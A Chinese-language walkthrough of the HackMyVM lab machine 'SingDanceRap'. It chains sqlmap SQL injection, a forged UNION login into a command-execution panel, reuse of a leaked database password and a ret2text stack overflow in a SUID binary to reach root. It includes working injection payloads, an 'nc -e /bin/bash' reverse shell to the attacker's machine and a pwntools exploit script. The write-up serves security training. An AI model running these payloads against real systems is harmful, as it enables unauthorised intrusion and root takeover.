HackMyVM-SingDanceRap-Walkthrough
城南花已开 Lv6

信息收集

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
sudo arp-scan -l
[sudo] password for Pepster:
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.60.1 00:50:56:c0:00:08 VMware, Inc.
192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc.
192.168.60.129 08:00:27:5b:a6:58 PCS Systemtechnik GmbH
192.168.60.254 00:50:56:f6:18:1e VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.028 seconds (126.23 hosts/sec). 4 responded
export ip=192.168.60.129
❯ rustscan -a $ip
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
You miss 100% of the ports you don't scan. - RustScan

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.60.129:22
Open 192.168.60.129:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-08 08:23 CST
Initiating ARP Ping Scan at 08:23
Scanning 192.168.60.129 [1 port]
Completed ARP Ping Scan at 08:23, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:23
Completed Parallel DNS resolution of 1 host. at 08:23, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 08:23
Scanning 192.168.60.129 [2 ports]
Discovered open port 22/tcp on 192.168.60.129
Discovered open port 80/tcp on 192.168.60.129
Completed SYN Stealth Scan at 08:23, 0.08s elapsed (2 total ports)
Nmap scan report for 192.168.60.129
Host is up, received arp-response (0.010s latency).
Scanned at 2025-04-08 08:23:34 CST for 0s

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 08:00:27:5B:A6:58 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
Raw packets sent: 3 (116B) | Rcvd: 9 (1.378KB)

目录枚举

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 50 -x php,html,zip,txt -b 403,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.60.129
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.6
[+] Extensions: zip,txt,php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 3118]
/news.php (Status: 200) [Size: 1301]
/littlesecrets (Status: 301) [Size: 324] [--> http://192.168.60.129/littlesecrets/]

我们根据littlesecrets 目录再次枚举

得到login.php页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ gobuster dir -u http://$ip/littlesecrets -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 50 -x php,html,zip,txt -b 403,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.60.129/littlesecrets
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,php,html,zip
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login.php (Status: 200) [Size: 1983]
/manager.php (Status: 302) [Size: 0] [--> login.php]
Progress: 226394 / 1038220 (21.81%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 226752 / 1038220 (21.84%)
===============================================================
Finished
===============================================================

SQL 注入

可以发现在首页中点击sing new则会跳转new.php?title=sing

其余类似,都是在new.php页面下,并且传参了title为sing dance rap

所以他会跳转对应title的Articles文章

所以有理由怀疑此页面具有sql注入的点

利用Sqlmap梭一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ sqlmap -u "http://192.168.60.129/news.php?title=sing" --batch

……………………省略……………………
Parameter: title (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: title=sing' AND 8651=8651 AND 'Kxwn'='Kxwn

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: title=sing' AND (SELECT 8927 FROM (SELECT(SLEEP(5)))GPnA) AND 'Olqx'='Olqx

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: title=sing' UNION ALL SELECT NULL,NULL,CONCAT(0x7162626b71,0x6541545847644f646461434650456a584f58574b444b75756345446f535248794364475a474f597a,0x717a7a7171)-- -
---

[*] ending @ 08:31:52 /2025-04-08/

得知存在news_db数据库,我们分别查看一下两个表users news

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
❯ sqlmap -u "http://192.168.60.129/news.php?title=sing" --batch -D news_db -T users --dump

[08:35:58] [INFO] fetching columns for table 'users' in database 'news_db'
[08:35:58] [INFO] fetching entries for table 'users' in database 'news_db'
Database: news_db
Table: users
[2 entries]
+----+-----------+----------+
| id | password | username |
+----+-----------+----------+
| 1 | password1 | user1 |
| 2 | password2 | user2 |
+----+-----------+----------+

[*] ending @ 08:35:58 /2025-04-08/

❯ sqlmap -u "http://192.168.60.129/news.php?title=sing" --batch -D news_db -T news --dump

---
[08:36:39] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.59
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[08:36:39] [INFO] fetching columns for table 'news' in database 'news_db'
[08:36:39] [INFO] fetching entries for table 'news' in database 'news_db'
Database: news_db
Table: news
[3 entries]
+----+-------+--------------------------------+
| id | title | content |
+----+-------+--------------------------------+
| 1 | sing | This is the content for sing. |
| 2 | dance | This is the content for dance. |
| 3 | rap | This is the content for rap. |
+----+-------+--------------------------------+

[*] ending @ 08:36:39 /2025-04-08/

不过当我利用此凭证进行登录login.php,则会显示访问被拒绝

image

我们可以尝试登录框再次sql注入

image

sqlmap添加测试表单参数--forms

不过到后面查询数据表的时候则会很慢,因为是基于时间盲注外带信息的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
❯ sqlmap -u "http://192.168.60.129/littlesecrets/login.php" --batch --forms

---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=ctXS' AND (SELECT 5453 FROM (SELECT(SLEEP(5)))iOcn) AND 'EUJv'='EUJv&password=qqHq
---

❯ sqlmap -u "http://192.168.60.129/littlesecrets/login.php" --batch --forms --dbs

[08:58:50] [INFO] retrieved:
[08:59:00] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[08:59:59] [INFO] retrieved: news_db
[09:00:27] [INFO] retrieved: mysql
[09:00:45] [INFO] retrieved: performance_schema
available databases [4]:
[*] information_schema
[*] mysql
[*] news_db
[*] performance_schema

❯ sqlmap -u "http://192.168.60.129/littlesecrets/login.php" --batch --forms -D news_db --tables
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=ctXS' AND (SELECT 5453 FROM (SELECT(SLEEP(5)))iOcn) AND 'EUJv'='EUJv&password=qqHq
---
[09:19:27] [INFO] retrieved:
[09:19:32] [INFO] adjusting time delay to 1 second due to good response times
users
[09:19:47] [INFO] retrieved: news
Database: news_db
[2 tables]
+-------+
| news |
| users |
+-------+

其实在这里留了一个坑,你不要在login.php用时间盲注的方式读信息,不然会很慢的

你可以回到new.php中利用联合查询来拿信息,并且sqlmap还可以访问后端 DBMS 的底层文件系统

用法 | sqlmap 用户手册

发现可以读取文件,并且存在用户he110wor1d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ sqlmap -u "http://192.168.60.129/news.php?title=sing" --batch --technique U --file-read=/etc/passwd
---
Parameter: title (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: title=sing' UNION ALL SELECT NULL,NULL,CONCAT(0x7162626b71,0x6541545847644f646461434650456a584f58574b444b75756345446f535248794364475a474f597a,0x717a7a7171)-- -
---
[09:31:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.59
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[09:31:14] [INFO] fingerprinting the back-end DBMS operating system
[09:31:14] [INFO] the back-end DBMS operating system is Linux
[09:31:14] [INFO] fetching file: '/etc/passwd'
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
[09:31:14] [INFO] the local file '/home/Pepster/.local/share/sqlmap/output/192.168.60.129/files/_etc_passwd' and the remote file '/etc/passwd' have the same size (1610 B)
files saved to [1]:
[*] /home/Pepster/.local/share/sqlmap/output/192.168.60.129/files/_etc_passwd (same file)

[09:31:14] [INFO] fetched data logged to text files under '/home/Pepster/.local/share/sqlmap/output/192.168.60.129'

❯ cat /home/Pepster/.local/share/sqlmap/output/192.168.60.129/files/_etc_passwd |grep /bin/bash
root:x:0:0:root:/root:/bin/bash
he110wor1d:x:1001:1001::/home/he110wor1d:/bin/bash

利用wappalyzer嗅探网络技术栈,发现使用了apache

image

尝试读取apache2的配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ sqlmap -u "http://192.168.60.129/news.php?title=sing" --batch --technique U --file-read=/etc/apache2/apache2.conf
---
Parameter: title (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: title=sing' UNION ALL SELECT NULL,NULL,CONCAT(0x7162626b71,0x6541545847644f646461434650456a584f58574b444b75756345446f535248794364475a474f597a,0x717a7a7171)-- -
---
[09:41:53] [INFO] fetching file: '/etc/apache2/apache2.conf'
do you want confirmation that the remote file '/etc/apache2/apache2.conf' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
[09:41:53] [INFO] the local file '/home/Pepster/.local/share/sqlmap/output/192.168.60.129/files/_etc_apache2_apache2.conf' and the remote file '/etc/apache2/apache2.conf' have the same size (7501 B)
files saved to [1]:
[*] /home/Pepster/.local/share/sqlmap/output/192.168.60.129/files/_etc_apache2_apache2.conf (same file)

[09:41:53] [INFO] fetched data logged to text files under '/home/Pepster/.local/share/sqlmap/output/192.168.60.129'

[*] ending @ 09:41:53 /2025-04-08/

查看一下配置的信息

发现网站根目录在/var/www/he110wor1d

1
2
3
4
5
6
7
8
cat /home/Pepster/.local/share/sqlmap/output/192.168.60.129/files/_etc_apache2_apache2.conf|grep 80 -A 6
<VirtualHost *:80>
DocumentRoot /var/www/he110wor1d
<Directory /var/www/he110wor1d>
Options -Indexes
AllowOverride None
Require all granted
</Directory>

尝试读取上方枚举到的manager.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ sqlmap -u "http://192.168.60.129/news.php?title=sing" --batch --technique U --file-read=/var/www/he110wor1d/littlesecrets/manager.php
---
Parameter: title (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: title=sing' UNION ALL SELECT NULL,NULL,CONCAT(0x7162626b71,0x6541545847644f646461434650456a584f58574b444b75756345446f535248794364475a474f597a,0x717a7a7171)-- -
---
[09:49:18] [INFO] fetching file: '/var/www/he110wor1d/littlesecrets/manager.php'
do you want confirmation that the remote file '/var/www/he110wor1d/littlesecrets/manager.php' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
[09:49:19] [INFO] the local file '/home/Pepster/.local/share/sqlmap/output/192.168.60.129/files/_var_www_he110wor1d_littlesecrets_manager.php' and the remote file '/var/www/he110wor1d/littlesecrets/manager.php' have the same size (2788 B)
files saved to [1]:
[*] /home/Pepster/.local/share/sqlmap/output/192.168.60.129/files/_var_www_he110wor1d_littlesecrets_manager.php (same file)

[09:49:19] [INFO] fetched data logged to text files under '/home/Pepster/.local/share/sqlmap/output/192.168.60.129'

[*] ending @ 09:49:19 /2025-04-08/

发现在源代码中有PHP 代码进行处理用户的身份验证

如果用户名不是he110wor1d_admin则会显示Access Denied

同时在下面,如果登录成功即可发送POST数据使用command参数执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
cat /home/Pepster/.local/share/sqlmap/output/192.168.60.129/files/_var_www_he110wor1d_littlesecrets_manager.php
<?php
session_start();

if (!isset($_SESSION['username'])) {
header("Location: login.php");
exit();
}

if ($_SESSION['username'] !== 'he110wor1d_admin') {
die("Access Denied. You do not have permission to access this page.");
}

$command_output = '';

if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['command'])) {
$command = $_POST['command'];
$command_output = shell_exec($command);
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Manager Panel</title>
</head>
<body>
<div class="manager-container">
<h2>Manager Panel</h2>
<form action="manager.php" method="POST">
<input type="text" name="command" placeholder="Enter command" required>
<input type="submit" value="Execute">
</form>
<?php if (!empty($command_output)): ?>
<div class="output">
<h3>Command Output:</h3>
<pre><?php echo htmlspecialchars($command_output); ?></pre>
</div>
<?php endif; ?>
</div>
</body>
</html>

如法炮制,我们尝试读一下login.php文件

发现sql查询的语句是$sql = "SELECT id, username, password FROM users where username='$username'";

单引号闭合的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
cat /home/Pepster/.local/share/sqlmap/output/192.168.60.129/files/_var_www_he110wor1d_littlesecrets_login.php
<?php
// Database connection
$servername = "localhost";
$username = "root";
$password = "i_love_sing_dance_rap";
$dbname = "news_db";

$conn = new mysqli($servername, $username, $password, $dbname);

if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}

$login_error = "";

if ($_SERVER["REQUEST_METHOD"] == "POST") {
$username = $_POST['username'];
$password = $_POST['password'];

$sql = "SELECT id, username, password FROM users where username='$username'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ($password === $row['password']) {
session_start();
$_SESSION['user_id'] = $row['id'];
$_SESSION['username'] = $row['username'];
header("Location: manager.php");
exit();
} else {
$login_error = "Invalid username or password.";
}
} else {
$login_error = "Invalid username or password.";
}
}
$conn->close();

?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login</title>
……………………
</head>
<body>
<div class="login-container">
<h2>Login</h2>
<?php if (!empty($login_error)): ?>
<div class="error"><?php echo $login_error; ?></div>
<?php endif; ?>
<form action="login.php" method="POST">
<input type="text" name="username" placeholder="Username" required>
<input type="password" name="password" placeholder="Password" required>
<input type="submit" value="Login">
</form>
</div>
</body>
</html>

SQL 构造用户

观察登录逻辑核心流程,构造联合注入的语句

构造了一个假的用户he110wor1d_admin并且密码为abc

因为无论你怎么查询he110wor1d_admin用户的密码都不会有结果,因为压根就没这个用户,根据代码逻辑来看作者的思路就是想让你构造此用户

1
2
3
4
5
6
7
8
9
10
#payload
' UNION SELECT 1,'he110wor1d_admin','abc
#拼接后
SELECT id, username, password FROM users WHERE username='' UNION SELECT 1,'he110wor1d_admin','abc'
#query() 返回 1 条记录
[
'id' => 1,
'username' => 'he110wor1d_admin',
'password' => 'abc'
]

然后 POST 的密码也正好是 abc,就匹配了

image

这样即可成功进入命令执行面板

用户提权

尝试反弹shell

监听端口

1
2
3
4
5
6
7
8
9
10
11
❯ penelope.py
[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.60.100
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from singdancerap-192.168.60.129-Linux-i686 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/Pepster/.penelope/singdancerap~192.168.60.129_Linux_i686/2025_04_08-10_07_04-238.log 📜
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
www-data@singdancerap:/var/www/he110wor1d/littlesecrets$

猜测密码复用

我们尝试利用上面读到的mysql密码进行登录he110wor1d用户

1
2
3
4
5
6
7
8
www-data@singdancerap:/var/www/he110wor1d/littlesecrets$ su he110wor1d
Password:
he110wor1d@singdancerap:/var/www/he110wor1d/littlesecrets$ cd ~
he110wor1d@singdancerap:~$ cat user.txt
#SQL injection can not only retrieve data but also forge it.
#SQL注入不仅可以检索数据,还可以伪造数据。

User flag:107883ee-f5e4-11ef-8542-005056207011

Root提权

同时发现在用户家目录下存在的文件夹中thekey2root此程序拥有suid权限

1
2
3
4
5
6
he110wor1d@singdancerap:~$ cd thekey2root/
he110wor1d@singdancerap:~/thekey2root$ ls -al
total 24
drwxr-x--- 2 he110wor1d he110wor1d 4096 Mar 3 04:21 .
drwxr-x--- 4 he110wor1d he110wor1d 4096 Mar 3 04:14 ..
-rwsr-sr-x 1 root root 15472 Mar 1 00:23 thekey2root

下载到本地,利用IDA Pro打开

不过在这我发现penelope反弹过来的shell用户是固定的,下载会有问题

需要再次监听一个端口

1
2
3
4
5
6
he110wor1d@singdancerap:~/thekey2root$
[!] Session detached ⇲

(Penelope)─(Session [4])> download thekey2root
[+] Download OK '/home/Pepster/.penelope/singdancerap~192.168.60.129_Linux_i686/downloads/home/he110wor1d/thekey2root/thekey2root'
(Penelope)─(Session [4])>

Stack Overflow 栈溢出

下面是关于PWN的题目,主要用到的是ret2text

碰到没有涉足过的领域了

同时你通过checksec检查程序开启了哪些安全机制

只开启了NX,栈不可执行,所以你不能再栈上执行shellcode,即ret2shellcode不可行

1
2
3
4
5
6
7
8
❯ checksec thekey2root
[*] '/mnt/c/Users/maple/Desktop/tmp/thekey2root'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

同时我们可以在IDA中发现有个functionsing_dance_rap,会打印出提示文本

伪c代码如下

image

由于程序未开启PIE所以地址是可用的绝对地址

那么就可以看到sing_dance_rap的地址为08049213

image

我们需要将地址08049213转为适用于栈溢出的小端序格式

其实也就是反过来了,这里可以用pwntools

1
2
❯ python3 -c "from pwn import *; print(p32(0x08049213))"
b'\x13\x92\x04\x08'

好了,知道了目标地址后,就需要进行爆破偏移量了,简单来说就是从缓冲区开始,到覆盖返回地址之间要填充多少个字节

我们可以利用gdb来找出偏移量

利用cyclic生成100字节的花指令字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
❯ gdb thekey2root
GNU gdb (Debian 15.2-1) 15.2
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from thekey2root...
(No debugging symbols found in thekey2root)
(gdb) set follow-
follow-exec-mode follow-fork-mode
(gdb) set follow-fork-mode parent
(gdb) run <<< $(python3 -c "from pwn import *; print(cyclic(100))")
Starting program: /mnt/c/Users/maple/Desktop/tmp/thekey2root <<< $(python3 -c "from pwn import *; print(cyclic(100))")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching after vfork from child process 762224]
input something:

Program received signal SIGSEGV, Segmentation fault.
0x61696161 in ?? ()

得到0x61696161再次利用cyclic反查此字符串的位置,得到偏移量为32

1
2
❯ cyclic -l 0x61616169
32

好了,现在拿到了偏移量和sing_dance_rap的地址

尝试执行一下,可以覆盖到我们的目标地址成功执行sing_dance_rap的echo命令

1
2
3
4
5
echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x13\x92\x04\x08" | ./thekey2root
input something:
Hey,bro! What are you looking for?
[1] 884526 done echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x13\x92\x04\x08" |
884527 segmentation fault ./thekey2root

然而如何利用这个拿到shell呢,现在我们的gid uid都是0,即root身份

那么如何执行任意命令呢,程序中也没有/bin/sh

1
2
❯ objdump -s -j .rodata thekey2root | grep 'sh'

虽然.rodata中并未没有存储着bin/sh,不过程序动态链接了 system,并通过 PLT 调用它

随便哪个地址都可以调用

1
2
3
4
5
❯ objdump -d thekey2root|grep system
08049040 <system@plt>:
80491b6: e8 85 fe ff ff call 8049040 <system@plt>
80491cd: e8 6e fe ff ff call 8049040 <system@plt>
8049249: e8 f2 fd ff ff call 8049040 <system@plt>

还有就是system执行哪个变量呢,.rodata中并没有类似可以利用的字符串

我们可以发现字符串s位置位于804a03e

1
2
3
4
5
6
7
8
9
10
11
12
❯ objdump -s -j .rodata thekey2root

thekey2root: file format elf32-i386

Contents of section .rodata:
804a000 03000000 01000200 6563686f 2027696e ........echo 'in
804a010 70757420 736f6d65 7468696e 673a2700 put something:'.
804a020 6563686f 20277468 616e6b73 20666f72 echo 'thanks for
804a030 20796f75 7220696e 70757427 00257300 your input'.%s.
804a040 6563686f 20274865 792c6272 6f212057 echo 'Hey,bro! W
804a050 68617420 61726520 796f7520 6c6f6f6b hat are you look
804a060 696e6720 666f723f 2700 ing for?'.

为什么位置是804a03e,我并没有看到,原因是这样的

因为 objdump 的输出是以16字节为一行

每行前面是地址起点,然后每4字节分组排列,每个字节是2位十六进制,按 小端序 存储。

1
2
3
804a030 20796f75 7220696e 70757427 00257300   your input'.%s.
↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑
804a030 ... ... 804a03f

20这个字节位置就是804a03079字节位置为804a031,以此类推,所以到十六进制为 73也就是字符串s的位置即804a03e

然而在C语言中,你传给 system 的参数是一个 C 字符串(const char*),那么这个字符串就必须:

满足两个条件:

  1. 是内存中一段连续的字节;

  2. null 字节(\x00)结尾

如果没有\x00,那么system则会一直往后读,直到读到了\x00

正好字符串s后面就是\x00

所以可以利用环境变量劫持,将s这个转为任意命令执行

1
2
3
4
5
he110wor1d@singdancerap:~/thekey2root$ echo "nc -e /bin/bash 192.168.60.100 6666">s
he110wor1d@singdancerap:~/thekey2root$ chmod +x s
he110wor1d@singdancerap:~/thekey2root$ PATH=.:$PATH
he110wor1d@singdancerap:~/thekey2root$ echo $PATH
.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

所以我们构造如下payload

偏移量+目标地址+system地址+字符s地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
❯ python3 -c "from pwn import *; print(b'A'*32 + p32(0x08049213) + p32(0x080491b6) + p32(0x0804a03e))"
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x13\x92\x04\x08\xb6\x91\x04\x08>\xa0\x04\x08'
--------------------------------------
# 靶机中执行
he110wor1d@singdancerap:~/thekey2root$ echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x13\x92\x04\x08\xb6\x91\x04\x08>\xa0\x04\x08'| thekey2root
input something:
Hey,bro! What are you looking for?
--------------------------------------
#到这里会卡住,kali就收到反弹shell了
❯ penelope.py 6666
[+] Listening for reverse shells on 0.0.0.0:6666 → 127.0.0.1 • 192.168.60.100 • 172.17.0.1
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from singdancerap-192.168.60.129-Linux-i686 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/Pepster/.penelope/singdancerap~192.168.60.129_Linux_i686/2025_04_08-18_42_08-937.log 📜
──────────────────────────────────────────────────────────────────────────
root@singdancerap:~/thekey2root# id
uid=0(root) gid=0(root) groups=0(root),1001(he110wor1d)
root@singdancerap:~# cd /root/
root@singdancerap:/root# cat root.txt
#During the process of PWN, the execution of the system function does not necessarily have to be bash.

root flag:943ac8c9-f696-11ef-8bd4-005056207011

或者利用pwntools来执行,我个人感觉pwntools比较方便,不用手动找函数地址,只要找到字符s的地址就行了

下面贴个HYH的脚本,我稍微修改了一下,这个system的返回地址不能省略

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

# 设置上下文和程序路径
context(arch='i386', os='linux')
elf = ELF('./thekey2root') # 替换为你的程序名

# 获取函数地址
sing_dance_rap_addr = elf.symbols['sing_dance_rap']
system_addr = elf.plt['system']


s_addr = 0x804a03e # 替换为实际地址

# 构造payload
payload = b'A' * (32) # 填充至32字节
payload += p32(sing_dance_rap_addr) # 覆盖返回地址到sing_dance_rap
payload += p32(system_addr) # sing_dance_rap返回后执行system
payload += p32(0xdeadbeef) # system的返回地址(占位)
payload += p32(s_addr)

# 启动进程并发送payload
p = remote('192.168.60.129',6666)
p.send(payload) # 使用send而非sendline避免附加换行符
p.interactive() # 进入交互模式

靶机上用nc开一个端口

kali执行exp即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
he110wor1d@singdancerap:~/thekey2root$ nc -lvp 6666 -e thekey2root
listening on [any] 6666 ...
-------------------------
❯ python3 exp.py
[*] '/mnt/c/Users/maple/Desktop/tmp/thekey2root'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[+] Opening connection to 192.168.60.129 on port 6666: Done
[*] Switching to interactive mode
input something:
$
Hey,bro! What are you looking for?
$ id
uid=0(root) gid=0(root) groups=0(root),1001(he110wor1d)
$ cat /root/root.txt
#During the process of PWN, the execution of the system function does not necessarily have to be bash.

root flag:943ac8c9-f696-11ef-8bd4-005056207011
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 485.2k